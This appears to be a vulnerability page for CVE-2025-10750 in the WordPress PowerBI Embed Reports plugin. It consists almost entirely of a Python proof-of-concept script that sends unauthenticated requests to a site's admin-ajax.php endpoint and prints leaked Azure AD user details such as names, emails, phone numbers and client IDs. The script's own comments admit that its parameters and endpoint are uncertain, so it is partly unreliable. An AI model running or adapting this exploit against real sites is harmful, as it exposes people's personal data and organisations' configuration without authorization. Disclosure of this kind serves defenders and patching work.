CVE-2025-10750：WordPress PowerBI Embed Reports插件敏感信息泄露漏洞

# CVE-2025-10750 PoC - PowerBI Embed Reports Sensitive Information Disclosure # This PoC demonstrates how an unauthenticated attacker can access # sensitive Azure AD user information via the 'testUser' endpoint import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # The 'testUser' endpoint is triggered via the mo_epbr_admin_observer() # function hooked on 'init', so we can trigger it by sending a request # to any WordPress page with specific parameters # Step 1: Trigger the vulnerable endpoint # The endpoint processes requests via the 'init' hook endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to trigger the testUser functionality payload = { "action": "mo_epbr_admin_observer", "mo_epbr_action": "testUser", # Additional parameters may be required depending on plugin configuration } # Step 2: Send unauthenticated request response = requests.post(endpoint, data=payload) # Step 3: Extract sensitive information from response if response.status_code == 200: data = response.json() print("[*] Sensitive Information Disclosed:") # PII Information if "displayName" in str(data): print(f" - Display Name: {data.get('displayName', 'N/A')}") if "mail" in str(data): print(f" - Email: {data.get('mail', 'N/A')}") if "phones" in str(data): print(f" - Phone: {data.get('phones', 'N/A')}") if "department" in str(data): print(f" - Department: {data.get('department', 'N/A')}") # Azure AD Configuration if "AppId" in str(data) or "ClientId" in str(data): print(f" - Azure AD App/Client ID: {data.get('AppId', data.get('ClientId', 'N/A'))}") if "error" in str(data): print(f" - Error Code: {data.get('error', 'N/A')}") if "traceId" in str(data): print(f" - Trace ID: {data.get('traceId', 'N/A')}") if "correlationId" in str(data): print(f" - Correlation ID: {data.get('correlationId', 'N/A')}") else: print(f"[-] Request failed with status code: {response.status_code}") # Note: The exact endpoint and parameters may vary. # The vulnerability is in mo_epbr_admin_observer() function # located in Observer/adminObserver.php (line 265 and line 54) # which is triggered on WordPress 'init' hook without authentication checks.